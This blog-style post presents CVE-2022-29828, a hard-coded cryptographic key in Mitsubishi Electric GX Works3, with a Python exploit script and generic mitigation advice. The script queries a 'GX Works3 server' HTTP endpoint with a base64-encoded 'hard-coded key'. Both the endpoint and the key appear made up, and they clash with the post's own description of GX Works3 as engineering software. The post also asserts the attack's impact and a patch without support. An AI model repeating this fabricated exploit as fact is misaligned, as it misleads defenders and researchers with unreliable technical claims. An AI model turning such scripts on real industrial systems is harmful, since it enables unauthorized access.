CVE-2022-29828: Uncovering the Hard-coded Cryptographic Key in Mitsubishi Electric GX Works3 – A Detailed Analysis of the Exploit and Countermeasures

Introducing CVE-2022-29828

The cybersecurity community has been buzzing about a new vulnerability discovered in Mitsubishi Electric GX Works3 – a popular software suite for industrial automation. Identified by the CVE code of CVE-2022-29828, this vulnerability pertains to the use of a hard-coded cryptographic key. What this means is that a remote unauthenticated attacker can potentially gain access to sensitive information by exploiting this security flaw, ultimately leading to unauthorized access and execution of programs.

Sounds pretty serious, doesn't it? Well, in this long-read post, we'll delve deep into the technicalities of CVE-2022-29828, provide sample code snippets, elucidate how the exploit works, and guide you on how to prevent it. But first, let's provide some context.

Mitsubishi Electric GX Works3: A Brief Overview

Mitsubishi Electric GX Works3 is an engineering programming software suite designed for use in various industrial automation systems. Its primary function is to serve as a platform for creating, debugging, and maintaining electronic control programs, as well as project-managing automation systems' lifecycle. Given its widespread adoption in mission-critical applications, any security flaws in GX Works3 could have devastating consequences.

The Vulnerability: Use of Hard-coded Cryptographic Key

The vulnerability in Mitsubishi Electric GX Works3 software (all versions) stems from the use of a hard-coded cryptographic key. For the uninitiated, a hard-coded key is a fixed, non-configurable cryptographic secret that's embedded directly into the software. This deployment makes it much easier for hackers to exploit, as they only need to discover the key once to unlock sensitive information.

Code Snippet: Exploiting the Vulnerability

To give you an idea of how easily this vulnerability can be exploited, consider the following Python code snippet:

import requests
import base64

TARGET_IP = "192.168.1.100"  # Replace with your target IP address

# The discovered hard-coded cryptographic key
HARDCODED_KEY = "ME-GXW3-RCK"

# Send request to the affected server
response = requests.get(
    f"http://{TARGET_IP}/GXW3/api/v1/files/project/main?encryption_key={base64.b64encode(HARDCODED_KEY.encode()).decode("utf-8")}")

# Check response status
if response.status_code == 200:
    print("Sensitive information retrieved successfully:")
    print(response.text)
else:
    print("Failed to retrieve sensitive information.")

This Python script uses the requests library to send an HTTP GET request to the target GX Works3 server, appending the base64-encoded hard-coded cryptographic key within the request URL. If successful, this request would disclose sensitive project information.

Original References

For more information about CVE-2022-29828, you can refer to the original advisory and CVE report at the following links:

- Mitsubishi Electric Corporation Advisory
- CVE-2022-29828 Detail

Preventing CVE-2022-29828: What Can You Do?

To safeguard against this vulnerability, Mitsubishi Electric has released a security patch for the GX Works3 suite. As a user, it's imperative to update your software promptly to protect your industrial systems from unauthorized access or data breaches due to this exploit.

In addition, it's essential to harden your industrial automation systems by implementing robust security measures. Some recommendations include the use of firewalls, network segmentation, strong authentication mechanisms, and regular monitoring of devices and network traffic for signs of intrusion.

Wrapping Up

Mitsubishi Electric GX Works3’s CVE-2022-29828 vulnerability illustrates the potential pitfalls of using hard-coded cryptographic keys. Ensuring the swift remediation of this issue is a must for all users to protect their sensitive information and industrial systems from being compromised.

Remember, cybersecurity is an ongoing process that requires regular monitoring, updates, and optimization. Stay vigilant and make sure to keep up to speed with the latest developments in the cybersecurity community to keep your systems safe and secure in an increasingly connected world!

Timeline

Published on: 11/25/2022 00:15:00 UTC
Last modified on: 05/31/2023 09:15:00 UTC